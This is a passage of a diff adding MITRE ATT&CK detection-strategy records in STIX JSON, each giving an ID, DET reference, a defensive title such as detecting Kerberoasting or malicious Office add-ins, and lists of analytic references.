"x-mitre-analytic--bf166688-0c78-43a5-bb87-3159c1b86584" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--67677c4c-5778-49eb-ae74-1920645b8554", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0060", + "external_id": "DET0060" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect Ingress Tool Transfers via Behavioral Chain", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--f20d9241-84cc-4393-b2fb-798241da73fa", + "x-mitre-analytic--62d55c57-54a3-4c6f-8d0d-2684fa26c347", + "x-mitre-analytic--56552a3e-9934-4809-97a4-67d62f29478c", + "x-mitre-analytic--fac5b2df-a58d-424e-a351-7d7ca05260e8", + "x-mitre-analytic--c93951a7-7f78-40cf-a891-30d6c6a9bee6" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--f1fe6286-1f54-4dfc-b96a-31b10711e4b1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0157", + "external_id": "DET0157" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect Kerberoasting Attempts (T1558.003)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--4ab972bf-623b-418b-9647-2c3a56b55083" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--5c4334d0-cda0-4372-8572-fe2a109d39cb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0024", + "external_id": "DET0024" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect Kerberos Ccache File Theft or Abuse (T1558.005)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--3651d7d0-dfc7-4b36-aaf2-4eb0eb39167d", + "x-mitre-analytic--2a9d296d-6b36-42de-870c-9d851c0471ed" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--3638f523-dc38-4ff0-8682-d2027af5bd77", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0522", + "external_id": "DET0522" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect Kerberos Ticket Theft or Forgery (T1558)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--685b05a6-92a3-417d-a917-8e7689e43237", + "x-mitre-analytic--c101374a-ce7a-46d7-b7d4-c64fbdf1f685", + "x-mitre-analytic--c08ad617-cc0d-4435-9168-08c762048503" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--2db51eaa-3407-4ad0-a45e-86ebf5f2abac", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0462", + "external_id": "DET0462" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect LLMNR/NBT-NS Poisoning and SMB Relay on Windows", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--eb031858-bf91-476e-8248-2c54ef0f0864" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--1525b951-a0fb-42ac-97b7-05ac6f412020", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0207", + "external_id": "DET0207" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect LSA Authentication Package Persistence via Registry and LSASS DLL Load", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--d415367c-3624-4a68-a2b7-4734662db190" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--8fb1967e-478f-4a83-9fb9-3da1015b8a26", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0047", + "external_id": "DET0047" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect Local Email Collection via Outlook Data File Access and Command Line Tooling", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--11cd0577-97e6-4def-a86b-fe167ae4e33d" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--3f27e858-2912-4b43-ac03-f668ef30c47e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0072", + "external_id": "DET0072" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect Logon Script Modifications and Execution", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--6dae9309-90a7-4b4e-b764-9486a7ba4390" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--eccad822-4f5b-4337-8c8b-825cf617f853", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0190", + "external_id": "DET0190" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect MFA Modification or Disabling Across Platforms", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--97cb8df9-f100-4a64-802a-1aa2f45c26eb", + "x-mitre-analytic--33b7f7b2-b79c-4893-bd5c-2d5638bf5786", + "x-mitre-analytic--3090db89-83c0-44bc-a17d-7cb2a6aecb87", + "x-mitre-analytic--d0a9cbc4-d190-44fb-b067-27153e35dc49", + "x-mitre-analytic--3a19d0ff-833f-47ae-81a0-2516e91c7b25", + "x-mitre-analytic--81c940cd-633b-4f88-9f8f-f6837a7026bc", + "x-mitre-analytic--1193139d-0032-4d0b-88f1-c140abe2c964" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--9af47d08-fbb3-4122-8af4-74105cc23b62", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0454", + "external_id": "DET0454" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect Malicious Modification of Pluggable Authentication Modules (PAM)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--d9c7e50d-4b13-4634-80f9-e8032a043414", + "x-mitre-analytic--04cd1c76-d01d-482c-83e2-4bb5109e9764" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--f722c058-8449-49ee-8e18-c3e76ec60a51", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0472", + "external_id": "DET0472" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect Malicious Password Filter DLL Registration", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--9fb6bb78-418a-483f-ae23-518ffde414d1" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--2556841e-474a-45c0-b827-4f5db6dcca31", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0257", + "external_id": "DET0257" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect Mark-of-the-Web (MOTW) Bypass via Container and Disk Image Files", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--c7172412-6e48-45a0-a1c5-2eae892c1fc7" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--b865c4e8-f3de-471e-846c-2290b6d52da9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0589", + "external_id": "DET0589" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect Modification of Authentication Process via Reversible Encryption", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--105ca36e-c3e0-48c4-ada3-7f8c4aa4430f" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--d51dd574-9171-4c46-89bc-0e3bb1178dfe", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0104", + "external_id": "DET0104" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect Modification of Authentication Processes Across Platforms", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--818b46ce-9c93-47c9-a649-8bc5d3b734a5", + "x-mitre-analytic--776b9173-cbe0-4d1e-8ac9-af19b3db9dd7", + "x-mitre-analytic--ee0f60f3-2fb3-4857-b02e-58c69b5aab52", + "x-mitre-analytic--bbaa7fb3-974c-41ef-9cec-a0789a66445c", + "x-mitre-analytic--20b6d23a-d1cc-494c-ac67-e7358835c674" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--8a9ce0df-e256-4739-8db5-3e850e102e48", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0272", + "external_id": "DET0272" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect Modification of Network Device Authentication via Patched System Images", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--2f39584b-59bd-43ec-bd0a-5c2eba258ae2" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--7eb6ccf9-8fb5-4c7d-8a2c-33081c3ddf81", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0429", + "external_id": "DET0429" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect Modification of macOS Startup Items", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--c46d9fac-eac9-479e-91d3-4f5a1066972d" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--6368178a-04c5-490b-96d5-f12dcccd0497", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0228", + "external_id": "DET0228" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect Multi-Stage Command and Control Channels", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--f13ff1ad-5c7b-4136-b5cb-7a5663c3c54f", + "x-mitre-analytic--e5fcc815-0ab4-4da9-aade-659b87d079da", + "x-mitre-analytic--53ba6028-13cd-449e-aab4-d2f9fea458a4", + "x-mitre-analytic--e8c91885-736e-4348-ba09-2acfbdd8b176" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--2f20791a-0c97-40c1-a09e-7925321f6f66", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0367", + "external_id": "DET0367" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect Network Logon Script Abuse via Multi-Event Correlation on Windows", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--53dd199d-4f38-4f12-83dd-f2d471d58a1b" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--552a7d85-4ac4-48cd-9072-61a4c6b2c682", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0580", + "external_id": "DET0580" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect Network Provider DLL Registration and Credential Capture", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--c94f0795-ef0b-4e22-8395-bbba4f28346f" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--e17b2809-7534-4749-9bd8-95fdb24e4891", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0053", + "external_id": "DET0053" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect Obfuscated C2 via Network Traffic Analysis", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--79c7d394-e772-479c-acf9-ddd05b8a68b9", + "x-mitre-analytic--07deb060-c373-4059-b73b-736688a25c80", + "x-mitre-analytic--dc87f086-1764-43c2-a7bf-1a5ba2ea8191" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--71a8576b-c9ef-4485-b461-d706fd757a67", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0398", + "external_id": "DET0398" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect Office Startup-Based Persistence via Macros, Forms, and Registry Hooks", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--e643c4aa-dc7d-43d9-b36e-f13d733f8e9a", + "x-mitre-analytic--59bfb473-611f-4443-9d11-f44e7ace93fb" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--e3718a7a-77b3-4790-99ba-aba7703815fd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0581", + "external_id": "DET0581" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect One-Way Web Service Command Channels", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--8626f553-efed-4418-bbc6-b9fa83b0b315", + "x-mitre-analytic--e83afa89-0ec1-49e7-b351-eef67b085480", + "x-mitre-analytic--d49f06ba-7a81-440b-bc16-c583ba918a3d", + "x-mitre-analytic--5ce50294-f89c-4158-b5f2-7ca257a88837" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--53144b02-d6b1-42de-b5cf-e785a59c43bd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0050", + "external_id": "DET0050" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect Persistence via Malicious Office Add-ins", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--7263a8a8-a06f-4bdc-a021-3529ad683f9d", + "x-mitre-analytic--9ad4670e-f336-454f-960e-4f2f611f3657" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--83a814c2-73ac-4942-84ad-704a272cd864", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0095", + "external_id": "DET0095" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect Persistence via Malicious Outlook Rules", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--22cba5f6-b3d5-4a1a-9275-ed7db0bd4c7c", + "x-mitre-analytic--8c0c52d0-7357-4073-84fc-d262632d268f" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--e04f7ddf-6a1e-4731-afd6-5edb74f4c624", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0519", + "external_id": "DET0519" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect Persistence via Office Template Macro Injection or Registry Hijack", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--85b4c967-56bc-4990-b3e2-7e40f3ef1852", + "x-mitre-analytic--17bc7c97-7322-4619-84c5-50e45aa6627d" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--cb0a01e5-d88a-4ac8-a70a-1472c5dccd10", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0315", + "external_id": "DET0315" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect Persistence via Office Test Registry DLL Injection", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--80be1bd7-b4e8-4d1b-b294-56b1c073bbe0", + "x-mitre-analytic--a677cebe-06e8-4993-bd4c-6a6884862444" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--75281b94-735d-4051-b400-a42205783af9", + "created_by_ref": 